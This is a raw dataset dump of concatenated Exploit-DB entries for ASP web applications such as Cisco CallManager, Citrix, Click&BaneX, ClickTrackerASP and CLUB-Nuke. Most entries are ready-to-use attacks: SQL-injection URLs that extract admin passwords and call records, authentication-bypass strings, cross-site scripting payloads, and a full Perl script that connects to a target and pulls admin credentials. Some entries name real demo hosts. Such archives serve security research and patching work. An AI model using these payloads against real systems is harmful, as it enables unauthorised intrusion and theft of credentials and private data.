deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30541
Description: Cisco CallManager 4.2 / CUCM 4.2 - Logon Page 'lang' SQL Injection
Type: webapps
Platform: asp
Date: 2007-08-29
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/25480/info

Cisco Unified CallManager and Unified Communications Manager are prone to multiple input-validation vulnerabilities because the applications fail to properly sanitize user-supplied input. These issues include a cross-site scripting vulnerability and an SQL-injection vulnerability.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code in a user's browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof-of-concept URIs are available for the SQL-injection vulnerability:

To display the logged-in database user:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+CURRENT_USER;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the selected database:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+db_name();select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the UNIX time when a call was made from extension 12345:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+convert(char(12),dateTimeOrigination)+from+cdr..CallDetailRecord+where+finalCalledPartyNumber+%3C%3E+''+and+callingPartyNumber='12345';select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the destination number for that call. Replace "[PII_REDACTED]" with the value from the previous query:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=[PII_REDACTED];select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
Exploit-DB #31286
Description: Citrix Metaframe Web Manager - 'login.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-02-22
Author: Handrix

Exploit:
source: https://www.securityfocus.com/bid/27948/info

Citrix MetaFrame Web Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Citrix/MetaFrameXP/default/login.asp?NFuse_LogoutId=Off&NFuse_MessageType=warning&NFuse_Message=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #20987
Description: Citrix Nfuse 1.51 - Webroot Disclosure
Type: webapps
Platform: asp
Date: 2001-07-02
Author: sween

Exploit:
source: https://www.securityfocus.com/bid/2956/info

Citrix Nfuse is an application portal server meant to provide the functionality of any application on the server via a web browser. Nfuse works in conjunction with a previously-installed webserver.

It has been reported that a remote attacker can learn the location of the webroot simply by submitting a request to the launcher application without specifying the additional required information. This has been reported to not be reliably replicable. 

http://target/path/launch.asp?
Exploit-DB #28762
Description: Civica - 'Display.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-05
Author: CodeXpLoder'tq

Exploit:
source: https://www.securityfocus.com/bid/20354/info

Civica is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,......

http://www.example.com/civica/press/display.asp?layout=1&Entry=1 having 1=1

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,,,,,+upd
ate+prtReleases+set+isplayStyle='text';--
Exploit-DB #29193
Description: Click Gallery - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21311/info

Click Gallery is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/view_gallery.asp?gallery_id=809&currentpage=[SQL Injection]
http://www.example.com/view_gallery.asp?gallery_id=[SQL injection]
http://www.example.com/download_image.asp?image_id=[SQL Injection]
http://www.example.com/gallery.asp?currentpage=[SQL Injection]
http://www.example.com/view_recent.asp?currentpage=[SQL Injection]
http://www.example.com/gallery.asp?currentpage=2&orderby=[SQL Injection]
Exploit-DB #3048
Description: Click N Print Coupons 2006.01 - 'key' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-30
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.websitedesignsforless.com
#[$$         : $9.95
#[Message    : Tum Musluman Aleminin Kurban Bayrami Mubarek Olsun #..
#[..         : ajann,Turkey

# 2006.01 //coupon_detail.asp?key=-1%20union%20select%200,0,xusername,0,0,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%201


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/coupon_detail.asp?key=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,0,xusername,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-30]
Exploit-DB #30778
Description: Click&BaneX - 'Details.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-19
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26493/info

Click&BaneX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.html?ClickAndRank/details.asp

Username: anything' OR 'x'='x
[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #7484
Description: Click&BaneX - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-12-15
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Click&BaneX
#download : null
#Demo     :  http://icash.ch/ClickAndBanexDemo/user/  %00 http://icash.ch/ClickAndBanexDemo/admin/

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://icash.ch/ClickAndBanexDemo/user/user_menu.asp?user=wd2505&ID=0+union+select+1,2,3,4,5,6,7,9,10,11,12,13,15,16,17+from+admin%00


##########################################################################

--=[AUTH BYPASS]=--

-----ADMIN PAGE----
http://icash.ch/ClickAndBanexDemo/admin/admin_menu.asp

USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


-----USER PAGE----
http://icash.ch/ClickAndBanexDemo/user/user_menu.asp
USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


#Greetz For My Best Friend ZIGMA

###########################################################################

# milw0rm.com [2008-12-15]
Exploit-DB #7486
Description: Click&Rank - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-15
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Click&Rank
#download : null
#Demo     :  http://www.icash.ch/index.html?ClickAndRank/default.asp

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.icash.ch/index.html?ClickAndRank/hitcounter.asp?id=(SQL)
http://www.icash.ch/index.html?ClickAndRank/user_delete.asp?id=(SQL)
http://www.icash.ch/index.html?ClickAndRank/user_update.asp?id=(SQL)

##########################################################################

--=[AUTH BYPASS]=--

http://www.icash.ch/index.html?ClickAndRank/admin.asp

USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


##########################################################################

--=[Cross Site Scripting]=--

http://www.icash.ch/index.html?ClickAndRank/user.asp?action=%22%3E%3Cscript%3Ealert(1);%3C/script%3E



#Greetz For My Best Friend ZIGMA

###########################################################################

# milw0rm.com [2008-12-15]
Exploit-DB #7485
Description: clickandemail - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-15
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : ClickAndEmaiL
#download : null
#Demo     :  http://icash.ch/ClickAndEmailDEMO

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=0+union+select+1,2,3,4,5,6,7+from+admin


##########################################################################

--=[AUTH BYPASS]=--

http://icash.ch/ClickAndEmailDEMO/admin_main.asp

USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


##########################################################################

--=[Cross Site Scripting]=--

http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=%22%3E%3Cscript%3Ealert(1);%3C/script%3E



#Greetz For My Best Friend ZIGMA

###########################################################################

# milw0rm.com [2008-12-15]
Exploit-DB #14401
Description: ClickAndRank Script - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-07-18
Author: walid

Exploit:
# Exploit Title: ClickAndRank Script Authentication Bypass
# Date: [18/07/2010]
# Author: [walid]
# Software Link: [null]
# Version: [null]
# Tested on: [Windows]
# CVE: [null]

* Found By: WaLiD
* E-mail: Rezultas[at]Gmail[Dot]com
* GreeTZ: [Amine]/[v4-team.com]/[Madjix]
 
---------------------------------------------------------
Vendor: http://www.icash.ch/index.html?ClickAndRank/details.asp
---------------------------------------------------------
 
Exploit Auth Bypass:

login: walid
passw: ' or ' 1=1
 
----------------------------------------------------------
 
-[!]

Demo :
http://<site>/index.html?ClickAndRank/admin.asp
 
----------------------------------------------------------
Exploit-DB #29192
Description: Clickblog - 'Displaycalendar.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21310/info

Clickblog is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/displayCalendar.asp?date=[SQL Injection]
Exploit-DB #28577
Description: ClickBlog! 2.0 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-14
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20033/info

ClickBlog! is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

ClickBlog! 2.0 and earlier versions are reported vulnerable.

http://www.example.com/[path]/default.asp

Username : ' or '
Password : ' or ' and Login Ok
Exploit-DB #23032
Description: Clickcess ChitChat.NET - name Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-08-13
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8417/info

It has been reported that a html injection issue exists in the Clickcess ChitChat.NET discussion forum software. The vulnerability is reported to be present in the Name and Topic Title text boxes. The problem may allow a remote attacker to inject malicious HTML and script code into the website.

This vulerability may lead to cookie-based credential theft.

Name: <script>alert(Zone-h1)</script>
Exploit-DB #23033
Description: Clickcess ChitChat.NET - topic title Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-08-13
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8417/info
 
It has been reported that a html injection issue exists in the Clickcess ChitChat.NET discussion forum software. The vulnerability is reported to be present in the Name and Topic Title text boxes. The problem may allow a remote attacker to inject malicious HTML and script code into the website.
 
This vulerability may lead to cookie-based credential theft.

Topic title: <script>alert(Zone-h)</script>
Exploit-DB #29191
Description: ClickContact - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21302/info

ClickContact is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/default.asp?view=alpha&AlphaSort=[SQL Injection]
http://www.example.com//default.asp?In=[SQL Injection]
http://www.example.com/default.asp?view=All&orderby=[SQL Injection]
Exploit-DB #14283
Description: ClickGallery Server - SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
ClickGallery Server--SQl iNjection  Vulnerabilty 
==============================================================


Name : ClickGallery Server--SQl iNjection  Vulnerabilty 
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :   http://www.clickgallery.net/



Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 
###################################
I'm SONiC member from Inj3ct0r Team
################################### 

Description:

ClickGallery Server is a full featured online image gallery application. It supports multiple user accounts with the ability to have public/private galleries.

#######################################################################################################
eXploit :SQL injection  Vulnerabilty 

DEMO URL  http://www.site.net/gallery.asp?currentpage=1 [SqLi]



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #10456
Description: ClickTrackerASP - 'sitedetails.asp?siteid' SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-15
Author: R3d-D3V!L

Exploit:
[?]---------------------{&#1576;&#1587;&#1605; &#1575;&#1604;&#1604;&#1607; &#1575;&#1604;&#1585;&#1581;&#1605;&#1606; &#1575;&#1604;&#1585;&#1581;&#1610;&#1605;}-----------------


((&#1608;&#1580;&#1593;&#1604;&#1606;&#1575; &#1605;&#1606; &#1576;&#1610;&#1606; &#1575;&#1610;&#1583;&#1610;&#1607;&#1605; &#1587;&#1583;&#1575; &#1608;&#1605;&#1606; &#1582;&#1604;&#1601;&#1607;&#1605; &#1587;&#1583;&#1575; &#1601;&#1575;&#1594;&#1588;&#1610;&#1606;&#1575;&#1607;&#1605; &#1601;&#1607;&#1605; &#1604;&#1575; &#1610;&#1576;&#1589;&#1585;&#1608;&#1606;))

[?]---------------------{&#1589;&#1583;&#1602; &#1575;&#1604;&#1604;&#1607; &#1575;&#1604;&#1593;&#1592;&#1610;&#1605;}-----------------

[~] Tybe: (sitedetails.asp siteid) REM0TE SQL !NJEC7!0N Vulnerability$

[?]

[~] Vendor: www.pensacolawebdesigns.com

[?]download :[http://www.sourcecodeonline.com/details/clicktracker_asp.html]

[?] Software:ClickTrackerASP
[?]
[?] author: ((R3d-D3v!L))

[?]?.?.?

# Date: [15/12/2009]

[?]T!ME: 7:37 pm

[?] Home: WwW.xp10.mE

[?]

[?] contact: X@hotmail.co.jp

[?]*********************{DEV!L'5 of SYST3M}******************


[#] Exploit:

[#] www.XXX.com/portfolio/sitedetails.asp?siteid=(DEV!L !NJECT!0N C0DE)

[#] (DEV!L !NJECT!0N C0DE) : 1+union+all+select+1,fpassword,3,4,5,6,7,8,9+from+tbl_customers--

# Tested on: [L!NUX]

[#]d3m0:

[#]server/portfolio/sitedetails.asp?siteid=1+union+all+select+1,fpassword,3,4,5,6,7,8,9+from+tbl_customers--

N073:
uSE y0UR M!ND 70 MAKE MORE THAN ATTACK!NG ;)


[~]-----------------------------{((&#1575;&#1604;&#1588;&#1614;&#1610;&#1618;&#1591;&#1614;&#1575;&#1606;&#1615; &#1575;&#1604;&#1571;&#1581;&#1618;&#1605;&#1614;&#1585;&#1615;))}----------------------------------

[~] Greetz tO: 7h3-5had0w & DARKN355 & c0pra & MARWA & sara & M4NON & {{n0RhAN}} & {{BORN 2KILL}}
[~]

[~] spechial thanks : ((dolly)) & ((7am3m)) & ((magoush_1987)) & (DEV!L_MODE) & ((0R45hy)) & {0}-{n-c-A}-{0}

[~]

[?] 4.!.S ---> ((R3d D?v!L))--JuPA--M2Z --d3v!L-Ro07

[~]

[~] www.xp10.me

[~]

[~]I4M:4r48!4N-3XPLO!73r
[~]---------------------------------------------------------------------------------------------------
Exploit-DB #2150
Description: CLUB-Nuke [XP] 2.0 LCID 2048 (Turkish Version) - SQL Injection
Type: webapps
Platform: asp
Date: 2006-08-08
Author: ASIANEAGLE

Exploit:
# CLUB-Nuke [XP] v2.0 LCID 2048 (Turkish Version) SQL Injection Vulnerability
# Risk   : High
# Credit : ASIANEAGLE
# Contact: admin@asianeagle.org
# Web    : www.asianeagle.org
# Download Link : http://www.aspindir.com/Kategoriler/asp/portal-&-hazir-site/?P=7&K=&T=


#Exploit:
Note : User Logins Must Be Enabled By Admin To Exploit This Vulnerability

#Admin Nick: http://[SITE]/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_ADI,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201

#Admin Password :http::[SITE]/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_SIFRE,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201

after login as user;

#Admin Nick    : http://[SITE]/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_ADI,3,4,5%20from%20UYELER%20where%20U_ID%20like%201

#Admin Password: http://[SITE]/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_SIFRE,3,4,5%20from%20UYELER%20where%20U_ID%20like%201

#Forever milw0rm ;)

# milw0rm.com [2006-08-08]
Exploit-DB #37696
Description: Cm3 CMS - 'search.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-09-05
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55395/info

Cm3 CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/forums/search.asp?strSearchPhrase="><script>alert(0);</script>&ContainerID=&forumsearchoption=topics

http://www.example.com/search.asp?keywords="><script>alert(0);</script>&SearchType=And&CurrentPage=1

http://www.example.com/search.asp?CurrentPage=1&sitekeywords"><script>alert(0);</script>&SearchType=Default

http://www.example.com/search.asp?SearchType=Keywords&Keywords="><script>alert(0);</script>&x=0&y=0
Exploit-DB #38935
Description: CMS Afroditi - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2013-12-30
Author: projectzero labs

Exploit:
source: https://www.securityfocus.com/bid/64572/info

CMS Afroditi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Afroditi 1.0 is vulnerable. 

http://www.example.com/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1